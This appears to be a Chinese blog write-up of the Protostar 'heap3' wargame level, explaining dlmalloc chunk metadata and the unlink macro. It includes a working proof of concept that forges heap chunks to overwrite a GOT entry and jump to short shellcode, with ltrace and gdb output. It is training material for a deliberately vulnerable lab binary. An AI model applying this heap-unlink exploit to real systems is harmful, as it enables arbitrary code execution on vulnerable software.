The-Heap: protostar heap3

Exploiting the heap

这个级别引入了Doug Lea Malloc(dlmalloc)以及如何修改堆元数据以改变程序执行,有时候,溢出的缓冲区不在本地堆栈上.而是从malloc()中或得并使用free()释放的缓冲区.下边是一个小型演示.
heap3.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

void winner(){
	printf("that wasn't too bad now, was it? @ %d\n",time(NULL));
}

int main(int argc, char *argv[]){
	char *a, *b, *c;
	a = malloc(32);
	b = malloc(32);
	c = malloc(32);
	strcpy(a, argv[1]);
	strcpy(b, argv[2]);
	strcpy(c, argv[3])
	free(c);
	free(b);
	free(a);
	
	printf("dynamite failed?\n");
}

这里有一个溢出,用长参数调用程序会引发崩溃:
  $: ./heap3 python -c 'print "A"*5000'
  Segmentation fault
  思考,通过这个有缺陷的程序生成一个shell.

Malloc

malloc()和free()管理通过sbrk()和mmap()系统调用内存. 这里 描述了Doug Lea的malloc,比下面描述的malloc版本稍早,并在本演示中使用。sbrk()mmap()
内存被分成几块。每个块的第一个(4字节)字段给出其大小,并且由于保证大小可被8整除,所以低位可以是状态位。
在这里插入图片描述
  一个空闲块也以一个size字段结束,因此将一个块与前一个块(两者都是空闲的)合并很容易.用户块仅在开头具有size字段.当前一个块存在且状态字段的最低位为0且空闲且末尾有一个size字段。
  一个空闲的块也有两个指针属于双向链表。(因此,块的大小不小于16个字节。)
该实现使用struct管理块

struct chunk { 
        int prev_size; 
        int size; 
        struct chunk * fd; 
        struct chunk * bk; 
};

(此结构跨越两个块:前四个字节属于前一个块,后十二个字节属于当前块)。因此,prev_size此处的字段仅在以下时定义(size & 1) == 0。
  由于返回的指针malloc()必须适用于所有目的,因此它在8字节边界上对齐。因此,当用户询问大小时n,块大小将不小于上述八的最小倍数n+4。分配和释放的策略是非平凡的。因此,很难预测区域的分配位置,以及后续malloc()的两个区域是否会返回相邻区域。但在上边的小程序中,恰好是当前机器上的情况(使用glibc 2.2.4)。

Exploit free()

段错误发生在strcpy()中,不可利用。 这是因为副本访问未映射到内存:

user@protostar:/opt/protostar/bin$ ltrace ./heap3 `python -c 'print "A"*2368'`
__libc_start_main(0x8048889, 2, 0xbfffef54, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbfffee1c)       = 4096
sbrk(4096)                                               = 0x0804c000
sbrk(0)                                                  = 0x0804d000
strcpy(0x0804c008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x0804c008
strcpy(0x0804c030, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

但是使用较短的字符串(仍然溢出缓冲区),segfault发生在free()中,并且可以利用。

using unlink

透过overflow 盖掉freed chunk中的fd及bk,再利用unlink中FD->bk=BK及BK->fd=FD来更改任意记忆体位置
unlink(P, BK, FD){
FD = p->fd;
BK = p->bk;
FD->bk = BK;
BK->fd = FD;
}
doubly linked list中,deltete一个node时的过程
(unlink(P,BK,FD): FD=P->fd, BK=P->bk, FD->bk=BK, BK->fd=FD),

这时发现使用unlink()宏,可用于将几乎任意数据写入另一个地址.在空闲块中覆盖写入指向GOT并在其中写入堆地址

Exploit

我们从一个块中检查最后一位判断上一块是否在使用中,如果未设置最后一位将尝试unlink(),合并chunk.
对于protostart heap3

  • 需要两个伪块,一个块包含向前和向后的指针
  • 然后用堆中的地址覆盖GOT,第二个块必须设置size最后一位为0
  • 不能使用较小的值,可以使用fffffffc作为块的大小,结果会是减去4
  • 利用strcpy填充heap,一直覆盖到那个奇怪的联合伪造chunk位置
  • 写入两个地址,一个是GOT,另一个指向第一个堆
  • 代码执行重定向到第一个堆位置,写shellcode到这个位置.另外unlink()会将GOT中一些数据写入这个堆空间,所以必须保持shellcode简短,或者跳过已经覆盖的数据.这里只需要执行winner

POC

user@protostar:/tmp$ echo -ne "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x14\xc0\x04\x08" > C
user@protostar:/tmp$ echo -ne "AAAAAAAAAAAA\xB8\x64\x88\x04\x08\xFF\xD0" > A
user@protostar:/tmp$ echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x65" > B
user@protostar:/tmp$ ./heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
user@protostar:/opt/protostar/bin$ ./heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
that wasn't too bad now, was it? @ 1577887959
Segmentation fault

在gdb中调试;

(gdb) r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`

Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:20
20	in heap3/heap3.c
(gdb) c
Continuing.

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:24
24	in heap3/heap3.c
(gdb) x/56wx 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x41414141	0x048864b8	0x00d0ff08	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c040:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c050:	0x42424242	0x3536785c	0x43434343	0x43434343
0x804c060:	0x43434343	0x43434343	0x43434343	0x43434343
0x804c070:	0x43434343	0x43434343	0x43434343	0x43434343
0x804c080:	0x43434343	0x43434343	0x43434343	0x43434343
0x804c090:	0x43434343	0x43434343	0x43434343	0x43434343
0x804c0a0:	0x43434343	0x43434343	0x43434343	0x43434343
0x804c0b0:	0x43434343	0xfffffffc	0xfffffffc	0x0804b11c
0x804c0c0:	0x0804c014	0x00000000	0x00000000	0x00000000
0x804c0d0:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) c
Continuing.

Breakpoint 3, 0x08048935 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:28
28	in heap3/heap3.c
(gdb) x/20i 0x0804c008
0x804c008:	sub    al,al
0x804c00a:	add    al,0x8
0x804c00c:	inc    ecx
0x804c00d:	inc    ecx
0x804c00e:	inc    ecx
0x804c00f:	inc    ecx
0x804c010:	inc    ecx
0x804c011:	inc    ecx
0x804c012:	inc    ecx
0x804c013:	inc    ecx
0x804c014:	mov    eax,0x8048864
0x804c019:	call   eax
0x804c01b:	add    BYTE PTR [ecx+esi*4],bl
0x804c01e:	add    al,0x8
0x804c020:	add    BYTE PTR [eax],al
0x804c022:	add    BYTE PTR [eax],al
0x804c024:	add    BYTE PTR [eax],al
0x804c026:	add    BYTE PTR [eax],al
0x804c028:	add    BYTE PTR [eax],al
0x804c02a:	add    BYTE PTR [eax],al
(gdb) si
0x08048790 in puts@plt ()
(gdb) 
0x0804c014 in ?? ()
(gdb) 
0x0804c019 in ?? ()
(gdb) 
winner () at heap3/heap3.c:8
...........................................
................
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值